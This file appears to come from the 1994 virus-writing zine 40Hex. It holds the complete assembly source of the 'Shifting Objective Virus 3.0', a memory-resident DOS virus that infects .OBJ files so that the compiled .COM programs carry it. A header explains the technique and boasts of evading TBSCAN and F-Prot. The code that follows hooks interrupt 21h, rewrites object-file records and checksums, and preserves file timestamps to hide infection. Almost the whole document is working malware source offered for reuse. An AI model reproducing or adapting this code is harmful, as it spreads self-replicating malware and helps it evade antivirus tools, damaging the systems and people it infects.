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40Hex Number 13 Volume 4 Issue 1 File 006 ;╔══════════════════════════════════════════════════════════════════════╗ ;║ Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] ║ ;║ ║ ;║ Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! ║ ;║ ║ ;║ This virus breaks new bounds in viral technology, best I know }-) ║ ;║It infects .OBJ files that are set up to compile to simple, stand- ║ ;║alone .COM's. The basic theory for this is the following: It takes ║ ;║the pre-set compiling points of the modules in the .OBJ and moves them║ ;║up in memory so Objective will have room to insert itself underneath. ║ ;║When the file is compiled the virus is at the beginning of the file, ║ ;║and the original code follows BUT - the original code's memory offsets║ ;║are what they were BEFORE the virus infected the .OBJ. Therefore, all║ ;║Objective has to do when it runs is go memory resident, and shift the ║ ;║host code back down to where it starts at 100h in memory, and all is ║ ;║well. ║ ;║ ║ ;║ Object files are basically a set of linked lists or fields, each ║ ;║with a three byte header. The first byte is it's identity byte, while║ ;║the following word is the size of the field - header. The very last ║ ;║byte of each record is a simple checksum byte - this can be gained ║ ;║simply by adding up all of the bytes in the field save the three byte ║ ;║header and taking the negative (not reg/inc reg) so that the entire ║ ;║field value + checksum = 0. Each field type has it's own identity ║ ;║value, but we are only concerned with a few right now. ║ ;║ ║ ;║They are as follows: ║ ;║ 80h - Starting field of a .OBJ file ║ ;║ 8Ch - External definitions ║ ;║ 8Ah - Ending field of a .OBJ file ║ ;║ A0h - Regular Code ║ ;║ A2h - Compressed code (patterns/reiterated stuff) ║ ;║ ║ ;║ In the A0h and A2h types of fields, there is one more thing that ║ ;║concerns us - the three bytes after the field size in the header ║ ;║are indicators of the location in memory the code will be at - the ║ ;║second and third byte form the word we will be concerned with, which ║ ;║is a simple offset from CS:0000 that the code will begin. Since we ║ ;║are dealing with .COM files and want to put our virus at the beginning║ ;║of the file, we set the position field of the virus to 100h and the ║ ;║positions of all the other A0h and A2h fields to their old position ║ ;║plus the virus size. When the file is compiled, the virus will be ║ ;║at the beginning and the host will follow. Attaching the virus to ║ ;║the .OBJ itself is simple enough - just save the 8Ah field in memory, ║ ;║and write FROM IT'S OLD BEGINNING a header for your virus, your ║ ;║virus, then a checksum and the old 8Ah field. At all times when ║ ;║modifying fields, the checksums must be fixed afterwards. ║ ;║ ║ ;║ For the rest of the techniques that may be useful, I suggest you ║ ;║look at the following code for my Shifting Objective Virus. I'd like ║ ;║to thank The Nightmare for his ideas on this when we sat around bored ║ ;║those days. Greets go out to all of Phalcon/Skism, Urnst Kouch, ║ ;║Mark Ludwig, TridenT, NuKE, and the rest of the viral community. ║ ;║A special hello goes to Hermanni and Frisk. ║ ;║ ║ ;║ ╥ Stormbringer [P/S] ║ ;║ ════════════════───── ║ ;║ ╨ ║ ;╚══════════════════════════════════════════════════════════════════════╝ .model tiny .radix 16 .code org 100 start: push ds sub ax,ax mov ds,ax mov ax,word ptr ds:[84] mov word ptr cs:[Fake21IP],ax mov ax,word ptr ds:[86] mov word ptr cs:[Fake21CS],ax mov ax,word ptr ds:[2f*4] mov word ptr cs:[Fake2fIP],ax mov ax,word ptr ds:[2f*4+2] mov word ptr cs:[Fake2fCS],ax pop ds CheckIfResident: mov ax,0feadh ;Check if we are in memory call fake21 cmp ax,0d00dh jne ReserveMemory ;Nope, go resident xor ax,ax mov ds,ax jmp RestoreFile ;Yep, skip it ReserveMemory: mov ax,ds dec ax ;Go to MCB's mov ds,ax sub word ptr ds:[3],80 ;Grab 2K from this MCB sub word ptr ds:[12],80 ;And from the Top of MEM in PSP xor ax,ax mov ds,ax ;We're gonna take up 2k in memory. sub word ptr ds:[413],2 ;Reserve 2k from bios int 12h ;Get bios memory amount in K mov cl,6 shl ax,cl PutVirusInMemory: push cs pop ds sub ax,10 ;NewSeg:0 was in AX, now Newseg:100 mov es,ax ;is start of reserved memory field.... mov di,100 mov si,100 mov cx,end_prog-start repnz movsb ;Copy virus into memory HookInterrupts: xor ax,ax mov ds,ax ;Hook Int 21h directly using cli ;Interrupt table mov ax,offset Int21 xchg word ptr ds:[84],ax mov word ptr es:[IP_21],ax mov ax,es xchg word ptr ds:[86],ax mov word ptr es:[CS_21],ax sti RestoreFile: push cs pop es mov ax,0deadh ;Call interrupt handler to restore file pushf call dword ptr ds:[84] mov ax,4c01 ;Terminate if restore unsuccessful call fake21 InstallCHeck: mov ax,0d00dh ;Tell prog we're already here iret Int21: cmp ax,0feadh je InstallCheck ;Is it an install check? cmp ax,0deadh je RestoreHost ;Or a restoration request? cmp ah,3e jz fileclose ;Fileclose - go infect it if it's an .OBJ GoInt21: db 0ea ;Jump back into int 21h handler IP_21 dw 0 CS_21 dw 0 RestoreHost: push es pop ds mov di,sp ;Set iret to return to beginning of code mov [di],100 mov di,100 mov si,offset Host ;Shift host back down over virus in memory mov cx,0f000 repnz movsb mov si,ax xor ax,ax mov bx,ax ;Set registers as if just executing mov cx,ax mov dx,ax mov di,ax iret ;Iret back into the host file fileclose: pushf push ax bx cx dx es ds si di bp xor ax,ax xor ax,1220h call fake2f push bx mov bl,byte ptr es:[di] ;Good ol' SFT trick mov ax,1216h call fake2f or word ptr es:[di+2],2 ;Set file Read/Write add di,28 pop bx cmp byte ptr es:[di+2],'J' ;Check out filename jne Done_Close cmp word ptr es:[di],'BO' jne Done_Close mov word ptr cs:[Host_Handle],bx mov ax,5700 ;Save date/time stamp call fake21 push cx dx call Infect_Obj ;go infect it pop dx cx mov ax,5701 ;Restore date/time stamp call fake21 Done_Close: pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h popf jmp GoInt21 Isanexec: push dx GetAndSaveCurLoc: mov ax,4201 ;Save position of current module xor cx,cx xor dx,dx call fake21 push dx ax ModExecStartingPoint: ReadOldStartingPoint: mov ah,3f mov dx,offset startingpt ;Read starting point mov cx,3 call fake21 mov ax,word ptr [startingpt+1] cmp byte ptr firstexec,0 ;Check if this is the first exec field jne NotFirstExec ;If so, it should have a starting ;point of 100h for a .COM for us ;to infect it correctly CheckifwillbeCOMfile: ;we're assuming that anything with mov byte ptr firstexec,1 ;a starting point of cs:100h will be ;a com. while this isn't true all ;the time, we can cross our fingers.. cmp ax,100 je NotFirstExec ;File is good, continue infection. Getouttahere: pop ax ax ax ;won't be a .com file - don't infect. ret NotFirstExec: ;Either it isn't first exec or the mov cx,end_prog-start ;check was good.. now add virus size add ax,cx ;to exec starting point. mov word ptr [startingpt+1],ax GoBackToStartingPointinfo: pop dx cx push cx dx mov ax,4200 ;go back to starting point field call fake21 AndWriteIt: mov ah,41 dec ah mov cx,3 mov dx,offset startingpt ;and save it call fake21 GoToChecksumField: mov dx,fieldsize sub dx,4 xor cx,cx ;go to checksum field mov ax,4201 call fake21 ResetExecChecksum: mov ah,3f mov dx,offset Checksum ;read checksum field mov cx,1 call fake21 mov cx,-1 mov dx,-1 ;go back to checksum field in file mov ax,4201 call fake21 mov cx,(end_prog-start) sub Checksum,ch ;modify checksum to account for sub Checksum,cl ;our change to starting point field. mov ah,41 mov dx,offset Checksum ;and write it mov cx,1 dec ah call fake21 DoneIsExec: pop dx cx mov ax,4200 ;Restore original file pointer call fake21 pop dx jmp NExtfield ;and continue with infection startingpt db 0,0,0 firstexec db 0 anexec: jmp isanexec Bailout: ret Infect_Obj: push cs cs pop es ds mov firstexec,0 ;Init first exec field call go_bof ;Go to beginning of file ModExecFields: call ReadHeader ;read the three byte header, field size in DX ;Header type in AL cmp al,8c ;External module je bailout ;It has external calls, which we can't ;handle yet :( cmp al,0a0 ;Executable module je anexec cmp al,0a2 ;Reiterated executable module je anexec cmp al,8a ;Ending module je DoneModExecs NextField: mov ax,4201 ;Go to the next field xor cx,cx call fake21 jmp ModExecFields DoneModExecs: mov ax,4201 mov cx,-1 mov dx,-3 ;go to start of 8A field (end module) call fake21 push dx ax mov cx,fieldsize add cx,3+10 ;the +10 is just to be safe mov ah,3f ;load in last module mov dx,offset buffer call fake21 mov endfieldsize,ax ;Read in the end module pop dx cx mov ax,4200 ;Go back to the beginning of the module call fake21 ;now that we have it in memory WriteOurHeader: mov ah,3f mov cx,endheader-ourheader ;write the header for virus module mov dx,offset ourheader inc ah call fake21 WriteVirus: mov ah,3f mov cx,end_prog-start ;write virus to file mov dx,100 inc ah call fake21 CreateChecksum: mov si,100 mov cx,end_prog-start xor ax,ax AddupChecksum: ;Create checksum for virus lodsb add ah,al loop AddupChecksum not ah inc ah mov Checksum,ah WriteChecksum: mov dx,offset Checksum mov cx,1 mov ah,3f inc ah call fake21 ;Then save the checksum in module WriteEndModule: mov dx,offset Buffer mov cx,endfieldsize mov ah,3f inc ah call fake21 ;And put the ending module back into ret ;place.... we're done. ReadHEader: mov ah,3f mov dx,offset fieldheader mov cx,3 ;Read module header for .obj files call fake21 ;save module type in AL and mov al,fieldheader ;module size in DX mov dx,fieldsize ret Go_Bof: ;Go to beginning of file mov al,0 jmp short movefp Go_Eof: ;Go to the end of the file mov al,02 movefp: ;Or just move the File pointer xor cx,cx xor dx,dx mov ah,42 call fake21 ret fake21: pushf db 9a fake21IP dw 0 fake21CS dw 0 ret fake2f: pushf db 9a fake2fIP dw 0 fake2fCS dw 0 ret Credits: db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]' db 'Kudos go to The Nightmare!' OurHeader: db 0A0 dw (end_prog-start+4) ;our size in an .OBJ file db 1 db 0 ;starting position (cs:100h) db 1 endheader: endfieldsize dw 0 Checksum db 0 fieldheader db 0 fieldsize dw 0 Host_Handle dw 0 end_prog: Buffer: Host db 90,90,90,90,90,90,90,90,0cdh,20 end start